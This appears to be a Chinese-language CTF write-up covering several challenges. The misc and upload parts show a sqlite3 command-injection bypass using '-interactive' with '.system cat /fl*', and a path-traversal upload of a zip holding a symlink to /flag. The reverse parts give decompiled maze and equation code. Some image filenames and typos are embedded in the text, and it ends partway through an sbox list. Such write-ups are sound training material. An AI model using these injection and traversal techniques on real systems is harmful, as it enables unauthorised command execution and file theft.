>>> print('666c61677b57656c636f6d655f686572657d'.decode('hex'))
flag{Welcome_here}

2.5_Misc_m@sTeR_0f

题目给了源代码,如下:

import random
import string
import subprocess

WELCOME = '''
                     _______   _____     ___   __    _____       _      _ _______   
              ____  |__   __| |  __ \   / _ \ / _|  / ____|     | |    (_)__   __|  
  _ __ ___   / __ \ ___| | ___| |__) | | | | | |_  | (___   __ _| |     _   | | ___ 
 | '_ ` _ \ / / _` / __| |/ _ \  _  /  | | | |  _|  \___ \ / _` | |    | |  | |/ _ \
 | | | | | | | (_| \__ \ |  __/ | \ \  | |_| | |    ____) | (_| | |____| |  | |  __/
 |_| |_| |_|\ \__,_|___/_|\___|_|  \_\  \___/|_|   |_____/ \__, |______|_|  |_|\___|
             \____/                                           | |                   
                                                              |_|                   
'''

print(WELCOME)

def name_generator(size=6, chars=string.ascii_uppercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))

tmp_dbpath = f'/tmp/{name_generator()}.db'

query_idea = input("Input your Query command --->> ")

black_list = ['.', 'lo', ';']

for y in black_list:
    if y in query_idea:
        print("Hacker! Banned...")
        exit()

sqlite3_process = subprocess.Popen(["sqlite3", tmp_dbpath, query_idea], stdout=subprocess.PIPE)
(output, error) = sqlite3_process.communicate()
#Show your output!
print(output.decode())

审计发现,核心代码如下:

sqlite3_process = subprocess.Popen(["sqlite3", tmp_dbpath, query_idea], stdout=subprocess.PIPE)
(output, error) = sqlite3_process.communicate()

Command Injection,query_idea可控, 但题目过滤了['.', 'lo', ';']

查阅官方文档https://www.sqlite.org/cli.html,发现可命令执行

$sqlite3 Tao
Enter ".help" for usage hints.
sqlite> .shell whoami
root
sqlite> .system id
uid=0(root) gid=0(root) groups=0(root),141(kaboxer)

但是发现题目只可执行一次命令,且过滤了.,但是由于query_idea可控,且通过官方文档,发现交互参数

-interactive         force interactive I/O # sqlite3 --help

至此,我们的思路就是通过交互式,绕过python的过滤,达到命令执行

Input your Query command --->> -interactive # here
.shell ls / 
# here
.system cat /fl* 
# here
.quit
SQLite version 3.37.2 2022-01-06 13:25:41
Enter 
".help" for usage hints.
sqlite> bin
boot
dev
etc
flag.txt
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
sqlite> flag{SCT7SK7PLPD343ZMXFWS8U7RQCHE2TUQ}sqlite>

3.sakana_reveage

sakana_upload()函数中的文件名 sakana_file_name 完全可控,可以路径穿越在任意位置写文
件,所以可以输入../../../../../tmp/sakanas.zip.zip 写入带有指向/flag 符号链接的压缩包。虽然
限制了文件开头必须是 sakana,但是经过测试 unzip 命令是可以忽略开头的无关数据正常
解压的。wwr3t24kzmr15443.jpgsakana_upload_sakanas()函数如果提前触发 base64 解码处的异常就可以直接到达解压压缩
包的代码。由于这里生成 xx.zip 过程中异常跳出,所以生成的不是合法 zip。这时, unzip 会
自动寻找指定位置的 xx.zip.zip 与 xx.zip.ZIP 并解压,于是上面目录穿越传入的压缩包就会被
解压并链接到 flag,接着选择下载获得 flag

fgwksuwucmj15444.png

还有就是base64解码后要有sakana字段

z53pxhbwlah15449.png

nc连接

4vaxpquuv1o15452.png

# payload = base64 flag.zip
ln -s /flag soft_flag
zip --symlink flag.zip soft_flag
base64 flag.zip

payload加入sakana字段后base64编码

vaezm2i0ado15454.jpg

输入1上传

nr4ce4z53lw15457.jpg

然后选择4,然后随便输入一个字符串,需要触发sakana_upload函数的binascii.Error

wezijx2qhuy15459.png

最后输入2下载得到flag的base64加密字符串

y5n0xa3uihb15461.png

base64解密得到flag

zwua5fau5i115464.jpg


四、Reverse

1.5_re2

feedof02hrd15466.png

mips 64位 想qemu 模拟跑 ,发现没有so ,跑不起来。IDA 没法直接反编译。hdyrfzuh0dq15469.jpg
Ghidra查看:
5kbhickumli15472.jpg

定义了 level。

核心是下面的 move 函数。

undefined8 move(void)

{
char cVar1;
int local_230;
int local_22c;
char local_228 [528];
undefined *local_18;

local_18 = &_mips_gp0_value;
local_22c = 0;
local_228[0] = 
'\0';
local_228[1] = 0;
memset(local_228 + 2,0,0x1fe);
printf("input: ");
__isoc99_scanf(&DAT_120001878,local_228);
whiletrue ) {
 
do {
   local_230 = 0;
   find();
   cVar1 = local_228[local_22c];
   
if (cVar1 == 'w') {
     local_230 = Up();
   }
   
else if (cVar1 < 'x') {
     
if (cVar1 == 's') {
       local_230 = Down();
     }
     
else if (cVar1 < 't') {
       
if (cVar1 == 'd') {
         local_230 = Right();
       }
       
else if (cVar1 < 'e') {
         
if (cVar1 == '\x1b') {
           
return 0xffffffffffffffff;
         }
         
if (cVar1 == 'a') {
           local_230 = Left();
         }
       }
     }
   }
   local_22c = local_22c + 1;
 } 
while (local_230 != 1);
 
if (level == 2) break;
 level = level + 1;
}
puts(
"flag is ctf{md5(your input)}");
return 1;
}

wasd 上下左右 , flag格式定义。

find 函数中的定义 ,决定了 迷宫 一行多少值

1aldhqze3dw15473.jpg

跟随 去找map map的定义。

zvcnwkalyt515475.jpg

处理下,得到各个level的 map表。

其中第一level的 整理后的迷宫表:

1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 
1, 1, 0, 3, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 
1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 
1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 
1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 
1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0,
1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0,
1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0,
1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 
1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 
1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 
1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 
1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 
根据find中的 if判断 因此走的路径为
dddddssdsdddsssaassssddds以此类推整理后面两个level的 迷宫表
1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 
1, 1, 1, 1, 1, 0, 3, 1, 1, 1, 0, 0, 0, 0, 0, 
1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 
1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 
1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 
1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 
1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 
1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 
1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 
1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 

0, 3, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 
0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 
0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 
0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 
0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 
0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 
0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 
0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 
走的路径分别为dddsssdddsssdssddssddwddssssssdddssssdddss合并起来 走的路径为 dddddssdsdddsssaassssdddsdddsssdddsssdssddssddwddssssssdddssssdddss因此

535dnyfkria15476.jpg

得到 flag f77feb47f7ff4f9e6e94f297b18652e0

2.5_crackme

初步分析
binwalk -Me rootfs.img
有用的文件:
/bin/crackme
/etc/config
config


1E 00 00 00 02 00 00 00 09 00 00 00 40 E3 FF FF
D0 E4 FF FF C4 E6 FF FF 78 E2 FF FF 74 EB FF FF
1C E9 FF FF 08 E4 FF FF 48 EA FF FF 68 ED FF FF

int __fastcall chal_main(int argc, const char **argv)
{
const char *v3; // r0
int v4; // r0
int v5; // r5
int v6; // r0
int v7; // r9
int v8; // r10
int *v9; // r1
int v10; // r7
int v11; // r5
int v12; // r0
int *v13; // r1
int v14; // r0
int v15; // r0
bool v16; // zf
int v18[16]; // [sp+4h] [bp-74h] BYREF
v3 = (const char *)v18;
if ( argc >= 2 )
v3 = argv[1];
if ( argc < 2 )
v3 = "/etc/config";
v4 = open(v3, 0, 0);
if ( v4 >= 1 )
{
v5 = v4;
read(v4, config, 256);
close(v5);
}
v6 = dword_712C[0]++;
v7 = v18[config[v6]]; // 应该是取出 return_address

sub_3154(1, (int)"2", 0, (int)"a", 0);
sub_3154(2, (int)"3", 0, (int)"a", 0);
sub_33F8(1);
sub_33F8(2);
sub_3154(0, (int)"0", 28, (int)"a", 0);
sub_3154(6, (int)">> ", 64, (int)asc_659, 0);
sub_3154(7, (int)"<< ", 64, (int)"[!!]\n", 1);
sub_3154(8, (int)"<< ", 64, (int)"[ok]\n", 1);
sub_336C(6);
v8 = -1;
v9 = &config[dword_712C[0]];
v10 = *v9;
dword_712C[0] += 2;
v11 = v9[1];
while ( ++v8 < v11 )
{
v12 = dword_712C[0]++;
strcpy((char *)v18, "bbbbbbbbbbbbbbbb");
v13 = &v18[6];
v18[6] = config[v12] + v7;
BYTE1(v18[4]) = 0;
HIWORD(v18[4]) = 0;
v18[5] = 16;
if ( unk_7130 )
{
strcpy(unk_7130, "0");
v14 = *(_DWORD *)(unk_7130 + 16);
if ( *(int *)(unk_7130 + 20) > 27
|| (free(v14), v14 = malloc(28), v13 = (int *)unk_7130, (*(_DWORD *)(unk_7130 +
16) = v14) != 0) )
{
memcpy(v14, v18, 28);
}
}
v15 = dword_712C[v10 + 1];
v16 = v15 == 0;
if ( v15 )
{
v13 = (int *)unk_7148;
v16 = unk_7148 == 0;
}
if ( !v16 )
{
*(_DWORD *)(v15 + 16) = v13[4];

*(_DWORD *)(v15 + 20) = v13[5];
}
if ( !sub_32E8(v10) )
return sub_336C(7);
}
return sub_336C(8);
}
修正 config 里的偏移 转换成对应的函数地址
off = 0xFFFFED68-0x4644
for i in range(9):
x = ida_bytes.get_dword(0x0c+i*4)
ida_bytes.patch_dword(0x0c+i*4, x-off)
seg000:00000000 dd 30
seg000:00000004 dd 2
seg000:00000008 dd 9
seg000:0000000C ; int[9]
seg000:0000000C dd 3C1Ch
seg000:00000010 dd 3DACh
seg000:00000014 dd 3FA0h
seg000:00000018 dd 3B54h
seg000:0000001C dd 4450h
seg000:00000020 dd 41F8h
seg000:00000024 dd 3CE4h
seg000:00000028 dd 4324h
seg000:0000002C dd 4644h
int __fastcall sub_3C1C(char *a1, int a2)
{
int i; // r3
for ( i = 0; i < a2; ++i )
a1[i] = sbox_list[25][(unsigned __int8)a1[i]];
return 1;
}
int __cdecl sub_4644(unsigned __int8 *flag)
{
int v2; // r6
int v3; // r9
int v4; // r10
int v5; // r0
int v7; // [sp+4h] [bp-6Ch]
int v8; // [sp+8h] [bp-68h]

int v9; // [sp+Ch] [bp-64h]
int v10; // [sp+10h] [bp-60h]
int v11; // [sp+14h] [bp-5Ch]
int v12; // [sp+18h] [bp-58h]
int v13; // [sp+1Ch] [bp-54h]
int v14; // [sp+20h] [bp-50h]
int v15; // [sp+24h] [bp-4Ch]
int v16; // [sp+28h] [bp-48h]
int v17; // [sp+2Ch] [bp-44h]
int v18; // [sp+30h] [bp-40h]
int v19; // [sp+34h] [bp-3Ch]
int v20; // [sp+38h] [bp-38h]
int v21; // [sp+3Ch] [bp-34h]
int v22; // [sp+40h] [bp-30h]
int v23; // [sp+44h] [bp-2Ch]
int v24; // [sp+48h] [bp-28h]
int v25; // [sp+4Ch] [bp-24h]
v25 = abs(159947 * *flag - 17274276);
v24 = abs(4294891102 * flag[1] - 288728 * *flag + 36973368);
v23 = abs(-247146 * flag[1] - 291401 * *flag - 166371 * flag[2] + 75709167);
v22 = abs(-1741 * flag[1] + 218084 * flag[3] + 280814 * *flag - 149372 * flag[2] -
33947928);
v21 = abs(174323 * flag[3] + 136024 * flag[2] - 141923 * flag[1] - 301049 * flag[4] +
323059 * *flag - 53238195);
v20 = abs(
-12269 * flag[3]
+ 286713 * flag[1]
- 78320 * *flag
+ 301362 * flag[2]
+ 269836 * flag[5]
- 255324 * flag[4]
- 99312448);
v19 = abs(
-103798 * flag[2]
+ 201146 * flag[5]
- 285406 * flag[3]
- 188094 * flag[4]
- 104025 * *flag
- 50098 * flag[1]
- 109789 * flag[6]
+ 50727897);
v18 = abs(
117443 * flag[7]
+ 275692 * flag[3]
+ 349275 * flag[1]
- 381943 * flag[2]
+ 332376 * flag[4]
- 269146 * flag[5]
+ 222994 * flag[6]
- 267344 * *flag
+ 9817748);
v17 = abs(
19156 * flag[6]
+ -281586 * flag[7]
- 168850 * *flag
+ 363716 * flag[3]
- 32886 * flag[1]
+ 44299 * flag[4]
+ 170590 * flag[8]
+ 81061 * flag[5]
+ 201865 * flag[2]
- 32987442);
v16 = abs(
22459 * flag[6]
+ -80349 * flag[1]
+ 239015 * flag[5]
- 42367 * flag[9]
- 113712 * flag[7]
- 146568 * flag[2]
+ 241696 * flag[3]
+ 232212 * *flag
- 162511 * flag[8]
+ 61621 * flag[4]
- 41031017);
v15 = abs(
-1754 * *flag
+ 128062 * flag[7]
- 329492 * flag[3]
- 167316 * flag[2]
- 178991 * flag[4]
+ 186377 * flag[10]
+ 307270 * flag[6]
- 328477 * flag[8]
+ 248665 * flag[1]
+ 374863 * flag[9]
+ 373711 * flag[5]
- 86829517);
v14 = abs(
11843 * flag[5]
+ 17087 * flag[3]
- 35818 * *flag
- 182330 * flag[7]
- 354816 * flag[4]
- 126036 * flag[2]
+ 114656 * flag[8]
- 90442 * flag[9]
+ 330888 * flag[11]
+ 78226 * flag[10]
- 260641 * flag[1]
+ 105414 * flag[6]
+ 63250156);
v13 = abs(
7469 * flag[9]
+ 6283 * flag[11]
+ -87345 * flag[2]
+ 248111 * flag[5]
+ 213581 * flag[4]
+ 89194 * flag[8]
+ 36305 * flag[6]
+ 98667 * flag[1]
+ 300755 * flag[12]
+ 191415 * flag[7]
+ 350540 * *flag
+ 359565 * flag[10]
- 185365 * flag[3]
- 165783260);
v12 = abs(
8209 * flag[8]
+ 131781 * flag[1]
+ 152898 * *flag
+ 40158 * flag[11]
- 86271 * flag[12]
- 105755 * flag[6]
+ 264037 * flag[3]
- 130948 * flag[10]
- 243572 * flag[7]
- 48159 * flag[2]
- 269443 * flag[9]
- 376534 * flag[5]
- 67954 * flag[4]
- 119669 * flag[13]
+ 117580744);
v11 = abs(
-3429 * flag[6]
+ 102230 * flag[5]
+ 126967 * flag[10]
- 344174 * flag[8]
- 225911 * flag[11]
+ 118364 * flag[14]
- 72044 * flag[1]
+ 280519 * *flag
- 241789 * flag[2]
- 274918 * flag[9]
- 91055 * flag[12]
- 122403 * flag[3]
+ 118907 * flag[7]
- 34240 * flag[13]
+ 240524 * flag[4]
+ 35507568);
v10 = abs(
-24137 * flag[9]
+ 28203 * flag[13]
+ 150213 * flag[1]
+ 311204 * *flag
- 94750 * flag[7]
+ 130029 * flag[2]
- 305057 * flag[14]
+ 176246 * flag[5]
- 256662 * flag[8]
- 331010 * flag[12]
- 301118 * flag[4]
- 309379 * flag[10]
+ 187867 * flag[3]
- 102250 * flag[11]
- 340412 * flag[15]
+ 144084 * flag[6]
+ 39635710);
v9 = abs(
-27445 * flag[12]
+ -289483 * flag[10]
- 164045 * flag[16]
- 218276 * flag[1]
+ 183266 * flag[3]
- 311967 * flag[8]
- 55127 * flag[14]
- 211824 * flag[13]
- 375628 * flag[9]
- 201931 * *flag
- 324618 * flag[4]
+ 52026 * flag[6]
+ 93926 * flag[5]
- 105199 * flag[7]
- 254102 * flag[15]
- 159881 * flag[11]
+ 378091 * flag[2]
+ 106013500);
v2 = flag[3];
v8 = abs(
27619 * flag[4]
+ 9873 * flag[1]
+ -23276 * flag[8]
+ -196254 * flag[9]
+ 181235 * *flag
+ 150865 * flag[16]
- 148807 * flag[14]
- 272020 * flag[17]
- 346803 * flag[2]
- (v2 | (v2 << 16))
+ 132879 * flag[10]
+ 239833 * flag[6]
- 151023 * flag[11]
+ 224631 * flag[12]
+ 294607 * flag[5]
- 362447 * flag[7]
- 110250 * flag[15]
+ 153229 * flag[13]
+ 56953741);
v7 = abs(
-1159 * flag[1]
+ 6659 * flag[6]
+ -25875 * flag[7]
+ 80743 * flag[10]
+ 38124 * flag[9]
+ 40844 * flag[13]
- 259165 * flag[12]
+ 340584 * flag[16]
+ 107346 * flag[2]
- 124400 * flag[8]
- 34846 * flag[11]a
- 338119 * flag[17]
- 220860 * flag[5]
+ 167374 * flag[3]
+ 71134 * flag[15]
- 143594 * flag[14]
- 115172 * flag[4]
- 104789 * *flag
+ 108066 * flag[18]
+ 50659353);
v3 = abs(
-26438 * flag[19]
+ 14055 * flag[10]
+ 31477 * flag[12]
+ -179950 * flag[4]
+ 79775 * flag[17]
+ 70516 * flag[5]
+ 330549 * flag[2]
+ 169852 * flag[11]
+ 51486 * flag[7]
+ 123944 * flag[13]
- 370154 * flag[14]
- 132851 * flag[18]
+ 237187 * flag[3]
- 89341 * flag[9]
- 256083 * flag[1]
+ 317327 * *flag
+ 42009 * flag[15]
+ 336122 * flag[6]
+ 128554 * flag[8]
- 205903 * flag[16]
- 112255597);
v4 = abs(
30250 * flag[5]
+ 127076 * flag[16]
- 218938 * *flag
+ 162996 * flag[14]
+ 141792 * flag[12]
- 197967 * flag[9]
- 247332 * flag[4]
- 286218 * flag[7]
- 168508 * flag[18]
+ 300020 * flag[2]
- 46255 * flag[10]
- 78960 * flag[19]
+ 213181 * flag[6]
- 329333 * flag[13]
+ 126938 * flag[8]
- 266759 * flag[11]
+ 182266 * flag[17]
- 41677 * flag[1]
+ 158645 * flag[15]
- 61925 * flag[3]
+ 67755 * flag[20]
- 52014431);
v5 = abs(
-281 * *flag
+ 10712 * flag[19]
+ 14584 * flag[4]
+ -167168 * flag[13]
+ 308120 * flag[7]
- 233003 * flag[8]
+ 114047 * flag[14]
+ 330767 * flag[10]
- 71246 * flag[6]
- 259485 * flag[2]
+ 374645 * flag[21]
- 116397 * flag[3]
+ 64115 * flag[20]
+ 281339 * flag[9]
+ 321916 * flag[15]
- 272240 * flag[12]
- 135149 * flag[16]
- 288340 * flag[18]
+ 71833 * flag[11]
- 233821 * flag[1]
- 223297 * flag[17]
+ 141256 * flag[5]
+ 17267952);
return v24
+ v25
+ v23
+ v22
+ v21
+ v20
+ v19
+ v18
+ v17
+ v16
+ v15
+ v14
+ v13
+ v12
+ v11
+ v10
+ v9
+ v8
+ v7
+ v3
+ v4
+ v5 == 0;
}
大概逻辑其实就是根据 config 里的数据去调用对应的函数。
最终调用验证方程。
用 claripy 解出方程后,再逆置换就能得到 flag 了
import claripy
sbox = [0xA8, 0xC4, 0x13, 0xDF, 0x63, 0x5F, 0x4E, 0x6B, 0x12, 0xD6, 0x28, 0xBF, 0x40, 0x11,
0x64, 0x5A, 0x71, 0xDD, 0xD4, 0x35, 0xD5, 0x0F, 0x50, 0x9D, 0xCF, 0x7B, 0xEB, 0x0C, 0x3B,
0x6F, 0xA0, 0x5C, 0x5D, 0x90, 0xF5, 0x4B, 0xFF, 0x31, 0xB7, 0x14, 0xF9, 0xAF, 0xD3, 0xEE,
0x69, 0x36, 0xD7, 0xF3, 0xEF, 0x65, 0x05, 0x3F, 0x99, 0x49, 0x57, 0x2A, 0xEA, 0xB9, 0xB3,
0x8C, 0x7D, 0xFB, 0x1C, 0x80, 0xF1, 0xDC, 0xDA, 0x93, 0x7C, 0x62, 0xA2, 0xA9, 0x58, 0xC5,
0xA1, 0x0B, 0x5E, 0x09, 0x34, 0xA4, 0x22, 0x78, 0x68, 0x70, 0x6E, 0x54, 0x6D, 0x2F, 0x46,
0xE1, 0xA6, 0xF2, 0x29, 0x0E, 0x21, 0xFC, 0x15, 0x9F, 0x59, 0xB0, 0x18, 0x08, 0x95, 0x1F,
0x77, 0xD8, 0x67, 0x16, 0x20, 0x81, 0xF4, 0x60, 0x51, 0xB8, 0x7A, 0xCB, 0x3D, 0x7E, 0xA5,
0xE9, 0xD2, 0xFA, 0x74, 0x91, 0x1A, 0x8F, 0x19, 0x3C, 0x83, 0x8B, 0xC0, 0x37, 0x73, 0x8E,
0x8A, 0x07, 0x30, 0xE8, 0xAA, 0x2D, 0x8D, 0x55, 0x53, 0x96, 0x0D, 0x76, 0x6A, 0x88, 0x0A,
0x25, 0x87, 0x26, 0x79, 0x10, 0xC6, 0x1E, 0xC2, 0x01, 0xDE, 0x56, 0xAD, 0xB2, 0xAE, 0xBD,
0x75, 0xB6, 0x66, 0x33, 0xE6, 0xE2, 0xBB, 0xC3, 0xD1, 0x1B, 0x2E, 0xB4, 0x1D, 0x32, 0x02,
0x47, 0x42, 0x3A, 0x89, 0xBC, 0xE0, 0x44, 0xBE, 0xFE, 0x98, 0x06, 0xE4, 0xB1, 0x38, 0xE3,
0x86, 0xA7, 0xB5, 0x94, 0x03, 0xEC, 0xC9, 0x61, 0x52, 0xF6, 0x72, 0x4C, 0xAC, 0xC8, 0xC1,
0x45, 0x3E, 0x6C, 0xCD, 0xC7, 0x48, 0xAB, 0x5B, 0x82, 0x27, 0x00, 0x39, 0x84, 0xED, 0x7F,
0xCE, 0x97, 0x24, 0x43, 0x4D, 0xF0, 0x85, 0x4F, 0x9B, 0xA3, 0x41, 0xD9, 0x2B, 0x92, 0xF7,
0xFD, 0xDB, 0x17, 0xE7, 0xF8, 0xCA, 0xBA, 0x4A, 0x23, 0xE5, 0x9C, 0xD0, 0x9E, 0x2C, 0x9A,
0x04, 0xCC, 0xFC, 0x97, 0x79, 0xBA, 0xC1, 0x8F, 0xD1, 0x17, 0x87, 0x52, 0x84, 0x0E, 0xB4,
0x4B, 0x1C, 0x2B, 0xF2, 0xF8, 0xAD, 0xD9, 0xD4, 0x46, 0x78, 0xE6, 0x5F, 0x89, 0x6B, 0x76,
0xC7, 0x29, 0xD2, 0x04, 0x31, 0x43, 0x4E, 0x7E, 0xA3, 0xF7, 0xA4, 0x5B, 0x01, 0x58, 0xBD,
0x3A, 0xFB, 0x56, 0xD0, 0x68, 0x8C, 0x3B, 0xF0, 0x59, 0x0C, 0x90, 0xEB, 0xB3, 0xBB, 0xB1,
0x47, 0xF1, 0x09, 0x41, 0x64, 0x93, 0x4F, 0x55, 0xB2, 0x92, 0x7A, 0xF4, 0x7D, 0x6F, 0x40,
0x5C, 0xFE, 0x82, 0x16, 0xB6, 0x33, 0x7C, 0xF9, 0x91, 0x81, 0x0B, 0x15, 0x57, 0x54, 0x60,
0xA0, 0xE0, 0x3E, 0x50, 0x66, 0x13, 0x0D, 0xDC, 0x06, 0xF6, 0xC6, 0xE1, 0xC5, 0x96, 0x9C,
0x94, 0x5E, 0xEE, 0x73, 0x8A, 0x42, 0x36, 0xD3, 0x67, 0xA9, 0xE2, 0x18, 0x86, 0x9F, 0xB8,
0x1A, 0xFF, 0xC4, 0x69, 0x8B, 0x02, 0xF3, 0x99, 0x9A, 0x10, 0xD7, 0xC8, 0x28, 0xED, 0xB9,
0x12, 0x72, 0xBC, 0x74, 0x2F, 0xCB, 0xC2, 0x35, 0xAB, 0x98, 0xA2, 0x14, 0x53, 0xE4, 0xB0,
0x2A, 0x63, 0xA1, 0x70, 0x9B, 0x5A, 0xAE, 0x75, 0x71, 0x19, 0xA6, 0xCE, 0x80, 0xF5, 0x49,
0xD8, 0x24, 0xDE, 0x22, 0x85, 0x30, 0x6D, 0x00, 0x2E, 0x27, 0x05, 0xFA, 0x88, 0xC3, 0x1B,
0x8D, 0x2C, 0xCC, 0x3F, 0xE8, 0xD5, 0x83, 0xDD, 0xE3, 0x0F, 0x61, 0xEA, 0x4C, 0x9E, 0xE9,
0x3C, 0xAF, 0x32, 0x0A, 0xBE, 0x1F, 0xDA, 0xA7, 0x4A, 0xD6, 0x3D, 0x26, 0x39, 0xB5, 0x8E,
0x1D, 0x6E, 0x38, 0x9D, 0x08, 0xCA, 0xE5, 0xB7, 0x62, 0xBF, 0x2D, 0xA8, 0x95, 0x6A, 0xFD,
0x34, 0x07, 0xA5, 0x5D, 0x25, 0xC0, 0x48, 0x51, 0x44, 0x4D, 0x7F, 0x45, 0xAC, 0xEC, 0x03,
0xAA, 0xC9, 0xDB, 0x65, 0xCD, 0x11, 0x7B, 0x23, 0x1E, 0x37, 0x20, 0xEF, 0x21, 0xE7, 0xCF,
0xDF, 0x6C, 0x77, 0xB7, 0x1C, 0x94, 0x39, 0x0A, 0x7B, 0x3C, 0x36, 0xDA, 0xC9, 0x13, 0x7C,
0x6D, 0x00, 0x45, 0xCE, 0xB9, 0xCB, 0x74, 0xA7, 0x9C, 0xD1, 0x56, 0xE6, 0xAA, 0x35, 0xBE,
0x6F, 0x3D, 0x3F, 0xB4, 0xD5, 0x59, 0x10, 0x40, 0x73, 0x44, 0x76, 0xC8, 0x6E, 0x20, 0x92,
0x89, 0xA8, 0x30, 0x03, 0xAF, 0xE7, 0x91, 0x17, 0x1F, 0xDB, 0x9B, 0x22, 0x1E, 0xA3, 0x5E,
0x72, 0xD9, 0x41, 0x0D, 0x0C, 0x26, 0x93, 0xE0, 0xCA, 0x99, 0x01, 0xA1, 0xD7, 0x84, 0x4E,
0xDE, 0x5C, 0x8C, 0x98, 0xEA, 0x81, 0xF4, 0x2F, 0x2D, 0xF8, 0x16, 0x88, 0x57, 0x4C, 0xD0,
0x0F, 0xB0, 0x09, 0x79, 0x14, 0xA2, 0xB8, 0x18, 0x70, 0xFE, 0x34, 0x55, 0x49, 0x82, 0xD8,
0xCD, 0xF1, 0x31, 0xD3, 0x3B, 0x38, 0x6C, 0x9D, 0x83, 0x75, 0xBF, 0x5F, 0x4F, 0x78, 0x52,
0xC6, 0x04, 0x5D, 0x32, 0xA6, 0x61, 0xE3, 0xC1, 0x62, 0x8B, 0x06, 0x3E, 0x0B, 0xFF, 0xEE,
0x67, 0xB2, 0x8F, 0xF3, 0xFA, 0x68, 0xDC, 0xC5, 0x7A, 0xFD, 0x71, 0x08, 0xF5, 0x97, 0xB6,
0x21, 0x54, 0x60, 0xEF, 0xAB, 0x15, 0x2B, 0x1B, 0xDD, 0xE5, 0xA4, 0xF9, 0x77, 0x11, 0x8D,
0xC3, 0x9A, 0xF2, 0x95, 0x29, 0xBA, 0xBD, 0x1D, 0xCC, 0xE4, 0x5B, 0x47, 0x1A, 0x65, 0x64,
0x19, 0x7D, 0x7F, 0xA9, 0x42, 0x63, 0x53, 0x6A, 0xAC, 0x2E, 0xC0, 0x87, 0x96, 0xF0, 0x85,
0x07, 0x66, 0x46, 0xEC, 0xE1, 0xC2, 0x6B, 0x7E, 0x8E, 0x58, 0x37, 0x25, 0x27, 0x4D, 0x4B,
0x12, 0x4A, 0xE8, 0x5A, 0x02, 0xAD, 0xC4, 0x2C, 0x8A, 0xBB, 0xE9, 0xD4, 0x3A, 0xED, 0x48,
0xB5, 0x86, 0xD6, 0xA5, 0xF7, 0x23, 0x9E, 0xD2, 0xA0, 0xE2, 0x05, 0xEB, 0x24, 0x43, 0x2A,
0x90, 0x69, 0xB1, 0x50, 0x0E, 0xCF, 0x80, 0xAE, 0x9F, 0xB3, 0xDF, 0xBC, 0xC7, 0x28, 0x51,
0xF6, 0xFB, 0x33, 0xFC, 0x59, 0xAF, 0x34, 0x7B, 0xD4, 0xDE, 0xF3, 0xB2, 0xEA, 0x3D, 0x3E,
0x70, 0xA4, 0x98, 0x35, 0xDD, 0x9F, 0x04, 0x6D, 0x84, 0x2E, 0x64, 0x9C, 0xEB, 0x9A, 0x00,
0xBB, 0xE8, 0xE6, 0x8B, 0xD3, 0x2D, 0xD0, 0x33, 0x85, 0x17, 0xA5, 0xA7, 0x8A, 0xA0, 0x7E,
0xB0, 0x99, 0xF9, 0x43, 0xC6, 0xC0, 0x08, 0x63, 0xF8, 0xAC, 0x18, 0x4A, 0x52, 0x9D, 0xA3,
